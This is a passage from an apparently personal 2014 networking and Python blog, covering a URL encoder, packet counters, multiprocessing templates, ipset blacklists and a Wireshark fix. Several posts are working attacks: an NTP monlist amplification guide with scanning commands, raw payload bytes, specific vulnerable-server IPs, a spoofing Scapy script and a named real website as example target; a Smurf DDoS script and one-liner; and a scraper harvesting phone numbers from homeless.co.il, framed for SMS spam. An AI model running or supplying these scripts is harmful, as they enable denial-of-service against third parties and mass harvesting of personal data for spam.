   print 'Randomized Encoded: \'%s%s%s\'\n' % (G,encoder(rnd_data),W)
   
   
if __name__ == '__main__':
   print '\n'+'-'*37+'\n URL Encoder, by Korznikov Alexander\n'+'-'*37
   if len(sys.argv[1:]) >= 1:
      main(' '.join(sys.argv[1:]))
   else:
      main(raw_input('\nEnter text to encode: '))
   
Example output:
# url_encode.py got some text

-------------------------------------
 URL Encoder, by Korznikov Alexander
-------------------------------------

(Original Decoded): 'got some text'
(Original Encoded): '%67%6F%74 %73%6F%6D%65 %74%65%78%74'

Randomized Decoded: 'GOt SoMe text'
Randomized Encoded: '%47%4F%74 %53%6F%4D%65 %74%65%78%74'

That's all.

Saturday, September 6, 2014

Count Packet per Second. (Bash)

Hi, today i needed to find out how many packets per second flows through the interface.
I understand that there available many variations of such scripts, but for me was faster to code a new one, than to find one that will do exactly what i need

I think the simplest way to find out how many packets pass the interface is to use 'ifconfig' command.

When you run it, you can see RX packets and TX packets.
eth0      Link encap:Ethernet  HWaddr d8:c2:44:32:ba:39  
          inet addr:172.16.1.1  Bcast:172.16.255.255  Mask:255.255.0.0
          inet6 addr: fe80::2ad1:31ff:fe23:a455/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4420149 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2632000 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:6126039045 (6.1 GB)  TX bytes:202902499 (202.9 MB)
That info will extract with simple bash script:


#!/bin/bash

if [ $1 ]
then
        echo -e "\n"
        iface=$1
else
        echo -e "\n\tPPS: Packets Per Second."
        echo -e "\t------------------------"
        echo -e "\tUsage: $0 [interface]\n"
        exit 1
fi

rxtotal=0
txtotal=0
cnt=0
while :
do
        cnt=`expr $cnt + 1`
        rx=$(ifconfig $iface |grep "RX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        tx=$(ifconfig $iface |grep "TX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        sleep 1
        rx2=$(ifconfig $iface |grep "RX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        tx2=$(ifconfig $iface |grep "TX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        rxnow=`expr $rx2 - $rx`
        txnow=`expr $tx2 - $tx`
        rxtotal=`expr $rxnow + $rxtotal`
        txtotal=`expr $txnow + $txtotal`

        echo -n -e "RX: $rxnow, Avg: `expr $rxtotal / $cnt` | TX: $txnow, Avg: `expr $txtotal / $cnt`                       \r"
done

Usage:
# ./pps

 PPS: Packets Per Second.
 ------------------------
 Usage: ./pps [interface]


Output:
#./pps eth0

RX: 0, Avg: 12 | TX: 0, Avg: 7
That's all.

Monday, September 1, 2014

Add python tab completion in interactive shell

I've notices that Scapy has 'Tab' completions. So i want it to work in regular python shell.
All you need is to create a file '.pythonrc' and add this:
try:
    import readline
except ImportError:
    print("Module readline not available.")
else:
    import rlcompleter
    readline.parse_and_bind("tab: complete")

Next, add this file to PYTHONSTARTUP bash variable:
# echo "export PYTHONSTARTUP=~/.pythonrc" >> ~/.bashrc

Start python, press 'TAB' button, and see what you can do:
#python
>>>
>>> import random
>>> random.
random.BPF                  random.__reduce__(          random.betavariate(
random.LOG4                 random.__reduce_ex__(       random.choice(
random.NV_MAGICCONST        random.__repr__(            random.division
random.RECIP_BPF            random.__setattr__(         random.expovariate(
random.Random(              random.__sizeof__(          random.gammavariate(
random.SG_MAGICCONST        random.__str__(             random.gauss(
random.SystemRandom(        random.__subclasshook__(    random.getrandbits(
random.TWOPI                random._acos(               random.getstate(
random.WichmannHill(        random._ceil(               random.jumpahead(
random._BuiltinMethodType(  random._cos(                random.lognormvariate(
random._MethodType(         random._e                   random.normalvariate(
random.__all__              random._exp(                random.paretovariate(
random.__class__(           random._hashlib             random.randint(
random.__delattr__(         random._hexlify(            random.random(
random.__dict__             random._inst                random.randrange(
random.__doc__              random._log(                random.sample(
random.__file__             random._pi                  random.seed(
random.__format__(          random._random              random.setstate(
random.__getattribute__(    random._sin(                random.shuffle(
random.__hash__(            random._sqrt(               random.triangular(
random.__init__(            random._test(               random.uniform(
random.__name__             random._test_generator(     random.vonmisesvariate(
random.__new__(             random._urandom(            random.weibullvariate(
random.__package__          random._warn(               
>>> random.
Isn't this cool? :)

Nice bash alias :)

Hi there, if you want to find out your IP address in terminal, it's annoying to type everytime:
# ifconfig eth0

Too much characters :)
Why not to add alias for that?
Let's edit '.bashrc' file, and add alias for that:
alias eth0='ifconfig eth0' 

Save & restart console and woala, just type 'eth0' and you've got the info.

I'll go further, and will make a script inside '.bashrc' file, that will add all interfaces for that automatically:
for line in $(echo $(ls /sys/class/net/) |tr -s ' '|tr ' ' '\n'); do
alias $line="ifconfig $line"
done

As you can see, the script looks into directory '/sys/class/net/' where listed all physical interfaces.

If you have 'wlan0' interface, you will be able to type:
#wlan0
and get the info.

As well, you can manipulate your interface through this command, like:
#eth0 down
Actually the command will be 'ifconfig eth0 down'

Tuesday, August 26, 2014

Amplified Denial of Service with Network Time Protocol (NTP)

Really, i don't know if i should write it here, but I think it will help the Internet to become more secure.

In next lines, I will find some NTP servers that can be used for Amplified Denial of Service attack.

What does that mean, Amplification? You send couple of bytes, and get response of thousand bytes.
NTP Servers for example. You can request from one, last 600 clients that used that server. You send one request, and as response you get tons of info.

If you will spoof senders IP, response will be received by spoofed IP. So, when you do that many times, you will eat all bandwidth of your target with UDP responses. DoS.

For example, you want that website like www.hamasinfo.net will go down for some time... Get his IP, spoof it in NTP request and woala! The problem to do so, is to find unpatched NTP servers online.

Really? Use nmap.

Take your provider's IP-Range (for example. you can choose another range), and scan it for open UDP 123 port.
# nmap -p123 -sU -n -Pn --open -oG ntp-servers.txt <your_target/netmask>
Trust me, it will find a lot of NTP servers online. Next, you will need to check them if they support 'monlist' request

I don't know the technique of verification, but you can notice some difference in NTP server responses. Patched NTP server will return one small packet, another will return a lot of packets ~500bytes each one. 

Let's take two servers (maybe they will be offline when you try):
46.120.209.165 - Patched
46.120.212.96 - Unpached

Trying patched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.209.165')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=76 id=0 flags=DF frag=0L ttl=48 proto=udp chksum
=0x9ca6 src=46.120.209.165 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=489
47 len=56 chksum=0xc08f |<Raw  load='\x1c\x00\x04\xfa\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
xd7\xa6\x80~\x00\x00\x00\x00\xd7\xa6\x80~\x00\x00\x00\x00' |>>>
Trying unpatched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.212.96')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=468 id=41631 flags=DF frag=0L ttl=48 proto=udp ch
ksum=0xf5c3 src=46.120.212.96 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=4
8947 len=448 chksum=0xb60b |<Raw  load='\xd7\x00\x03*\x00\x06\x00H\x00\x00\x01\xd8\x
00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x00\x02To\xcaX\xc0\xa8\x01\x0f\x00\x00\x00\x0
1\xbf3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x08s\x18n\x16\xb7\xc0
\xa8\x01\x0f\x00\x00\x00\x01\x0c\x02\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\xb8i\x8
br\xd24\x07\x02\x00\n\xa8\xe5\x00\t\xd4~\x00\x00\x01\x80\x00\x00\x00\x02\xb8i\x8bT\x
84E\x06\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00!\xba\xd8Fsu\xc0\
xa8\x01\x0f\x00\x00\x00\x01\x01\xbb\x07\x02\x00\x00\x00\x00\x00\x00\x00\x02\xb8i\x8b
N\xb8\x02\x07\x02\x00\x01\xfcK\x00\x0cw\xfa\x00\x00\x01\x80\x00\x00\x00\t]\xb4\x05\x
1a\xb1\x19\x07\x02\x00\x00\x00\x00\x00\x00\x00\xcb\x00\x00\x01\x80\x00\x00\x04\xb6\x
b1F`n\xc0\xa8\x01\x0f\x00\x00\x00\x01\x15\xb3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
3\xb8i\x8bJ\x92\x8e\x07\x02\x00\x00\x00\x00\x00\x0e\xd2Y\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd8%\x9fc\x07\x02\x00\x00\x00\x00\x00\x00\x01q\x00\x00\x01\x80\x00\x01>\x0
e%;\xb8t\xc0\xa8\x01\x0f\x00\x00\x00\x01\xa6C\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
1\xd4\xa4G\x94\x93Q\x07\x00\x00\x00\x00\x00\x00\x15F\xe4\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd88\x83\x7f\x07\x02\x00\x00\x00\x00\x00\x00\x01\x7f\x00\x00\x01\x80\x00\x
00&\xa5JHW^\xc0\xa8\x01\x0f\x00\x00\x00\x01\x00P\x07\x02\x00\x00\x00\x00\x00\x00\x00
\x02\xb8i\x8bV\xbb\xc1\x07\x02\x00\x00\x00\x00\x00\x1a4<\x00\x00\x01\x80\x00\x00\x00
\x01^f1\xa8\x00{\x07\x02' |>>>

The difference that i will use - packet length. If response length is greater (let say) 150, then the server supports 'monlist' request.  If you know a better way of verification, let me know in comments...
#!/usr/bin/env python
import sys
from scapy.all import *
from time import sleep
from threading import Thread,enumerate
import random

try:

   data=str("\x17\x00\x03\x2a") + str("\x00")*4   #monlist request

   #shell argument parsing
   if '--victim' in sys.argv:
      target = sys.argv[sys.argv.index('--victim') + 1]
   else:
      target = conf.route.routes[-1][-1]   #find out your IP address

   if '-f' in sys.argv:
      inputfile = sys.argv[sys.argv.index('-f') + 1]
   else:
      inputfile = sys.argv[1]

   def ntp_check(ntpserver,target):
      try:
         a = sr1(IP(dst=str(ntpserver),src=target)/UDP(sport=random.randomint(1024,65535),dport=123)/str(data), timeout=0.5, verbose=0)
         if a[IP].len > 150:
            print '%s is VULNERABLE' % ntpserver
      except:
         return
      
   with open(inputfile) as srv_list:
      for ntpserver in srv_list.read().split():
         try:
            t = Thread(target=ntp_check, args=(ntpserver,target))
            t.start()
         except:
            pass
      t.join()
      while len(enumerate()) > 1:
         sleep(0.1)
         
except:
   print '\n\tUsage: %s -f srv_list.txt [--victim ]\n' % sys.argv[0]
   print sys.exc_info()
If you understand what i've coded, you can easily upgrade this code with multiprocessing module, using multiprocessing template.

For those who owns unpatched NTP Servers, there are at least three ways to patch it:
1. Update ntpd to version 4.2.7p26. In FreeBSD update ports and install ntpd from net/ntp-devel.
2. Disable monlist in ntp.conf, adding a line:
disable monitor
3. Or disable any status queries in restrict default:
restrict default kod nomodify notrap nopeer noquery
restrict -6 default kod nomodify notrap nopeer noquery

Maybe, you didn't know, that you server is accessible from outside :)

Wednesday, August 13, 2014

Multiprocessing Python Template.

Hi there.
Today I often use multiprocessing module, and i needed some template to write scripts a little faster..

Hope it will be useful to you.
#!/usr/bin/env python
#Multiprocessing template

from multiprocessing import Pool,cpu_count,active_children,Lock
import signal
from time import sleep
import sys


class TimeoutException(Exception):
    """ Simple Exception to be called on timeouts. """
    pass

def _timeout(signum, frame):
    """ Raise an TimeoutException.

    This is intended for use as a signal handler.
    The signum and frame arguments passed to this are ignored.

    """
    # Raise TimeoutException with system default timeout message
    raise TimeoutException()

# Set the handler for the SIGALRM signal:
signal.signal(signal.SIGALRM, _timeout)
# Send the SIGALRM signal in 10 seconds:

# Multiprocessing with KeyboardInterrupt
def init_worker():
        signal.signal(signal.SIGINT, signal.SIG_IGN)
        
        
        
def $$somefunc$$($$args$$):

        try:
                signal.alarm(5)                 #timeout exception
                
                $$do something$$
                
                return $$some data$$
        except Exception:
                pass
        except TimeoutException:
                print 'It timed out!'
        finally:
                signal.alarm(0) 


def main():
        try:
                def cb(data):
                        if data:
                                $$do something with returned data$$
                  
                pool = Pool(processes=cpu_count()*10, initializer=init_worker) #processes = CPU*10 = 40 (if 4 CPUs)
                
                for i in $$some_list$$:
                        pool.apply_async($$somefunc$$, ($$args$$,), callback=cb) #callback function defined above
                pool.close()

                #wait for worker processes completes job 
                while len(active_children()) > 1:
                        sleep(0.5)
                pool.join()
                return
                
        # ^C will kill all running processes and return to main function
        except KeyboardInterrupt:
                print " Terminating..."
                pool.close()
                pool.terminate()
                return
        else:
                print sys.exc_info()
                return


By the way, instead of callback() function, shared memory can be managed by Manager() module.

Manager module type support: list, dict, Namespace, Lock, RLock, Semaphore, BoundedSemaphore, Condition, Event, Queue, Value and Array.


Set as global variable:
manager = Manager.list()
lock = Lock()   #pass this lock to worker process

Call in running process:
with lock:   
   manager.append($$something$$)

#the lock is necessary, because of two processes can try to read the same value before editing it.


Maybe it's a mess for you, but maybe it will help.

Phone numbers harvesting from homeless.co.il website. (Python)

Hi there.
If you ever though about such a nasty thing like SMS spamming, you had need a phone number database to do that.
 
Or you just want to call them?

I will show you one technique to harvest phone numbers from... hmm http://www.homeless.co.il - that will be enough.

Let's say, you need all phone numbers that involved in real estate ok?
So, we go to the homeless web site, and see column called 'מכירה תיווך', and URL for that:

http://www.homeless.co.il/saletivuch/

If you look closer, you can find the 'details' section (לפרטים) on the left side of the ad.
If you click here, new popup window will be opened with link like:

http://www.homeless.co.il/SaleTivuch/viewad,367948.aspx


Something is coming to your head? Any thoughts?

All we need, is to grab all AD numbers from the main URL (including all secondary pages), and parse every VEWAD.URL for extracting phone numbers.

If you can see, there is not only one page of ads, there are about 130 pages.
The difference in URL: number of page is added after the main URL:

http://www.homeless.co.il/saletivuch/[1-10]

Let's do it automatically with python:
First of all, will determine how many pages we need to parse:

Take a closer look at the source:


Will extract total number of pages with BeautifulSoup library:
#!/usr/bin/python

from bs4 import BeautifulSoup
import urllib2
import re

path_name = 'saletivuch'

r = urllib2.urlopen('http://www.homeless.co.il/%s/' % path_name)
if r.code == 200:
   got_url = r.read()
   soup = BeautifulSoup(got_url)

   #determine how many pages we have to get:

   #In one line it will look like this:   
   #pages = [i.get('value') for i in BeautifulSoup(str(soup.find_all('select',{'id':'jump_page'}))).find_all('option')]

   #But i will write it in a more understandable format:   
   jump_page_id = str(soup.find_all('select',{'id':'jump_page'}))

   soup2 = BeautifulSoup(jump_page_id)
   pages = []

   for i in soup2.find_all('option'):
      pages.append(i.get('value'))
   print '%d pages to parse' % len(pages)
   

Let's extract ad.ID from every page:
 

   #get every ad.Number from every page:
   
   ads = []
   for i in pages:
      try:
         r = urllib2.urlopen('http://www.homeless.co.il/%s/%s' % (path_name,i))
         inner_url = r.read()
         soup = BeautifulSoup(inner_url)
         
         #one line will look like this:
         #ads += [r.get('id').split('_')[1] for r in soup.find_all('tr',{'class':'ad_details'})]

         for num in soup.find_all('tr',{'class':'ad_details'}):
            ads.append(num.get('id').split('_')[1])
            print 'Total ads collected: %d' % len(ads)
            
      # added ^C exception if you don't want to wait 130 pages :)      
      except KeyboardInterrupt:
         break
   print 'total ads collected: %d' % len(ads)


Extract phone numbers from '/viewad,XXXXXX.aspx' page:
There is no special 'class' or 'id' to lock on, so will grab them with regex:
   #Extract phone numbers from every AD.

   phones = []
   for i in ads:
      try:
         r = urllib2.urlopen('http://www.homeless.co.il/saletivuch/viewad,%s.aspx' % i)
         got_ad = r.read()

         #you should remember that re.findall() returns list of matches
         #so we can just extend the main list with new one

         phones += re.findall(r'\b0[2-9][0-9]?-?[0-9]{7}\b',got_ad)

         print 'Total phone numbers collected: %d' % len(phones)
      except KeyboardInterrupt:
         break
         
   for i in phones: print i,

Threading/Multiprocessing adding is necessary, otherwise you will wait a lot of time for job completion.

REMEMBER: SPAM IS ILLEGAL and I'm NOT responsible for how do you use the information covered in this post, or part of it!

Thursday, August 7, 2014

Creating a black-list of IP's for iptables. (Python)

Hi there.
Let's create a blacklist of IP's for iptables firewall. In Python.
Last week the homework was to create a black-list 'object' of IPSET for iptables firewall.

Really, don't know if someone of my classmates has done this, so i asked my teacher for if I can post it here. Maybe it will help someone to understand how to do that.

What we need to do, is to parse all IP addresses from sources below:

BAN-LISTS:
http://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1
http://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1
http://www.maxmind.com/en/anonymous_proxies
http://danger.rulez.sk/projects/bruteforceblocker/blist.php
http://rules.emergingthreats.net/blockrules/compromised-ips.txt

http://rules.emergingthreats.net/blockrules/rbn-ips.txt
http://www.spamhaus.org/drop/drop.lasso
http://cinsscore.com/list/ci-badguys.txt
http://www.openbl.org/lists/base.txt
http://www.autoshun.org/files/shunlist.csv
http://lists.blocklist.de/lists/all.txt
It's a simple algorithm:
1. Read URL's in loop.
2. Extract needed data
3. Append it to some list
4. Create new SET in IPSET (if needed)
5. Apply all data to IPSET 
 
When you take a look at the sources one-by-one, you can notice, that there are two variations of data to parse:
1. IP Address
2. IP Network

Fine. I think, the easiest way to extract this data is regular expressions (regex).

First what we need to do: list variable with allllll URL's:
Can be done with opening file, or just create a variable:
# Your links with blacklisted IP's
links = '''
http://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1
http://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1
http://www.maxmind.com/en/anonymous_proxies
http://danger.rulez.sk/projects/bruteforceblocker/blist.php
http://rules.emergingthreats.net/blockrules/compromised-ips.txt
#http://rules.emergingthreats.net/blockrules/rbn-ips.txt
http://www.spamhaus.org/drop/drop.lasso
http://cinsscore.com/list/ci-badguys.txt
http://www.openbl.org/lists/base.txt
http://www.autoshun.org/files/shunlist.csv
http://lists.blocklist.de/lists/all.txt
'''
 
Note, that there is one commented URL, this one is not working. You can delete it, or just parse '#' character. (see below)

Next, will load URL, and parse it.
I like Python Requests module, you can use urllib module:
import requests
from netaddr import *

ip_list = []

# Get & Extract IP addresses function
def geturl(i):
   try:
      global ip_list
      print 'Parsing \'%s\'' % i
      r = requests.get(i)
      
      #if status code 200
      if r.ok:
         ip_list += [IPNetwork(i) for i in re.findall(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/?[0-9]{1,2}?\b',r.content)]
   except:
      pass

Let me explain some BOLD points:

1. First of all, maybe you don't know how to make a for loop in one line: 

For example, next two pieces of code are identical:
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = []

for i in tuple_list:
   new_list.append(i[0])
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = [i[0] for i in tuples_list]

2. re.findall() method: It will return LIST type. So we can loop in it.
3. IPNetwork() is method from netaddr module, that will: 
    a) check if the IP Address is valid; 
    b) Append to it netmask /32 if single IP.
4. HTTP Status CODE. If you don't know what HTTP Status code is, you have a huge gap in your knowledge. Read here.
5. requests.get() method of requests module, that will load your URL. r.content = raw data from that URL
6. Last one is first one: global ip_list. This mean that in that specific function 'ip_list' variable will be global and not local variable.

Next:
# Get every URL in loop, IGNORE commented lines, extract every IP including subnet mask e.g. '1.1.1.1/32'

for i in links.split():
   if not i[0] == '#':      #ignore commented line
      geturl(i)
Pretty easy, huh?

And the last piece of code:
ip_list = cidr_merge(ip_list)
It is amazing function that will merge IP addresses to subnets!
For example: 1.1.1.0 and 1.1.1.1 will be merged to 1.1.1.0/31

About applying all the data to IPSET, but replace 'hash:ip' with 'hash:net'

For educational purposes I will not post FULL CODE. You can easily make your's from the examples above.

Good Luck. A.K.


P.S. Hope your list[] of knowledge has been .updated :)

Wednesday, August 6, 2014

Angry Smurfs. Distributed Denial-of-Service Attack

Today we've learned about network attacks. One of them was "Smurf Attack"

From Wiki:
The Smurf Attack is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim's computer will be flooded with traffic. This can slow down the victim's computer to the point where it becomes impossible to work on. Wikipedia

On the lesson we writed a code in Python Scapy and I've done first:
#!/usr/bin/python

from scapy.all import *
import sys

def send_packet(a):
   send(IP(src=sys.argv[1],dst=a)/ICMP())
   
def main():

   a=arping('172.16.0.0/16',verbose=0)
   for i in a[0]:
      send_packet(i[0].pdst)

if __name__ == '__main__':
   main()
Just run it with target IP in parameter. For test purposes only :)

After the lesson, i've told to my friend Viktor, that it's possible to write this script in one line in interactive shell. He told me that is maximum two lines.

Challenge accepted! :) And the result:
>>>send(IP(src='172.16.100.100',dst=[i[0].pdst for i in arping('172.16.0.0/16')[0]])/ICMP()) 
Выкуси! :)

Thursday, July 31, 2014

Extreme secured system in 3 lines with iptables ;)

If you want to secure your system as hard as possible, type this in terminal:
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

That's all! You've got a SUPER SECURED SYSTEM! :)

If you don't know what are you doing, learn it! :)

IPSET. Creating white-list for apt-get updates.

Today we've learned about IPSET, an extension for iptables firewall.
The homework was to write a script on python, that will do:

1. Find out all apt-get sources.
2. Get IP's from domain names
3. Create/Update IPSET set.

It is too painful to do it in python. I've done it in bash:
#!/bin/bash
name="apt-white"      #change it for your needs
function makeset(){
 check=$(sudo ipset list $name |grep -o $name)
 if [[ ! "$check" == "$name" ]]
 then
  sudo ipset create $name iphash
  append_set
 else
  append_set
 fi
}
function append_set(){ 
 ipset flush $name
 ip_list=$(for line in $(echo "$(grep -Ril "http" /etc/apt/ |xargs cat)" |grep http|cut -d":" -f2|cut -d'/' -f3 |sort -u |grep '.'); do host $line;done |grep 'has address' | rev |cut -d' ' -f1 |rev |sort -u)
 for line in $ip_list; do
  ipset -A $name $line
 done
 exit 0
}
makeset

It is only 21 lines. Will see how much code will be in python, next lesson...

UPDATE:

At today's lesson, everyone wrote a script on Python. Here's my: 

#!/usr/bin/env python

from subprocess import Popen,PIPE
from urlparse import urlparse
import sys,re,os
import socket

# Name your SET & Global variables
name = 'apt-white'
srv_list = []
srv_ip = []

# Search in '/etc/apt/' directory for files that includes 'http'
p = Popen('grep -Ril http /etc/apt/'.split(' '),stdout=PIPE)
file_list = p.stdout.read().split()

# Look inside every file in list and extract every domain-name into list(srv_list)
for one_file in file_list:
   with open(one_file,'r') as f:
      for line in f.readlines():
         line = line.lower()
         line = re.findall(r'(https?://\S+)', line)
         if line:
             parsed = urlparse(line[0])
             srv_list.append(parsed.hostname)

# Make DNS lookup for every domain-name in set(srv_list), and return list of IP's in list(srv_ip), IGNORING IPv6 addresses (':' not in string)
for srv in set(srv_list):
   srv_ip += list(set([i[-1][0] for i in socket.getaddrinfo(srv, 80) if not ':' in i[-1][0]]))

# Checking if your SET already exists
command = 'ipset list '+name
p = Popen(command.split(' '),stdout=PIPE)
check = p.stdout.read()

# If not, creating a new one
if not name in check:
   print 'Creating new SET %s' % name
   os.system('ipset create '+name+' iphash')

# If yes, flushing all data in your SET
else:
   print 'Flushing all data in %s' % name
   os.system('ipset flush '+name)

# Appending to the SET all IP addresses we found
for i in set(srv_ip):
   os.system('ipset -A '+name+' '+i)
print '\ndone.'

# Profit! :)

It's a little larger, but also not too big. Only ~35 lines.

Do you know a better way to communicate with shell CLI on Python?

Wednesday, July 30, 2014

Python Multiprocessing global variables

In the beginning, i want to say sorry, if this article will be "messy"...

One day i've noticed, that threading module in python does not working as should be.
Some times it was much slower than in sequential process. Then i learned about GIL (Global Interpreter Lock).

My teacher advised me to use Multiprocessing module.
Fine. It is very simple, just copy/replace:

threading >> multiprocessing
Thread >> Process

That's all! It will work. But how?

In 'Threading' module, threads have shared memory, Threads can manipulate global variables of main thread, instead of multiprocessing module, that runs another subprocess in memory and it does not have shared memory like threading.

For example:
#Threading Example

from threading import Thread

#defining a global variable
mylist = []

def somefunc(a):
    global mylist
    mylist.append(a)

def main()
    for i in range(100):
       t = Thread(target=somefunc,args=(i,))
       t.start()
    t.join()

#Multiprocessing Example

from multiprocessing import Process

#defining a global variable
mylist = []

def somefunc(a):
    global mylist
    mylist.append(a)

def main()
    for i in range(100):
       t = Process(target=somefunc,args=(i,))
       t.start()
    t.join()

In Threading Example, 'somefunc()' will append to the global 'mylist' variable, instead of Multiprocessing will be empty as it was before.

Solution for this issue came Manager objects of Multiprocessing module.
from multiprocessing import Process,Manager

mylist = Manager.list()

def somefunc(a):
    mylist.append(a)

def main()
    for i in range(100):
       t = Process(target=somefunc,args=(i,))
       t.start()
    t.join()


In one hand, this will help, but in another you will get headache. Because, if you add for example KeyboardInterrupt (^C) support, you will get nothing. Manager object will be empty. OK. Maybe my knowledge is not so good, but i've found another solution to manage variables: Callback function.

But before that, let's add some process control. I want to control how many processes running simultaneously:
from multiprocessing import Pool,cpu_count,active_children

mylist = Manager.list()

def somefunc(a):
    mylist.append(a)

def main()

    #creating pool of worker processes, for 4 Cores will be 40 processes.
    pool = Pool(processes=cpu_count()*10)
    for i in range(100):

       #start processes asynchronous, without waiting until process ends.
       pool.apply_async(somefunc, (i,))
    pool.close()

    #waiting for results of ALL processes
    while len(active_children()) > 1:
       sleep(0.5)
    pool.join()
In this example, there will be no more than 40 processes running at the same time.

Now, will add the Callback function:
from multiprocessing import Pool,cpu_count,active_children

mylist = []

def somefunc(a):
    a += 1
    return a    

def main()
    def cb(data):
        if data:
           global mylist
           mylist.append(data)

    pool = Pool(processes=cpu_count()*10)
    for i in range(100):
       pool.apply_async(somefunc, (i,), callback=cb)
    pool.close()
    while len(active_children()) > 1:
       sleep(0.5)
    pool.join()

Every process will return some data to main process, then will be called callback function, that will manipulate with the data.
For me, callback function is much more easy for use and understand...

Next time will try to tell about successful implementation of KeyboardInterrupt ^C into multiprocessing script. It's another issue.

Monday, July 28, 2014

Wireshark/tshark startup error popup.

Lua: Error during loading: 
[string
"/usr/share/wireshark/init.lua"]:45:
dofile has been disabled

If you get this error when you start up wireshark, it means that you trying to run it with root privileges. It may be dangerous.

If you are using lua scripting with Tshark/Wireshark, then it is strongly recommended to change your system to be able to do capturing and analysis without root privileges. Tshark just protects you from running a script (with endless possibilities to mess up your system if programmed badly) with root privileges.

If not, you can just ignore this error message.

To make this error disappear permanently, you should patch this file on line 29:

'disable_lua = false' change it to 'disable_lua = true'
nano /usr/share/wireshark/init.lua

-- Set disable_lua to true to disable Lua support.
disable_lua = true

UPD:
Someone asked me how to run wireshark without root, here's the solution:
sudo addgroup -system wireshark
sudo chown root:wireshark /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
sudo usermod -a -G wireshark YOUR_USER_NAME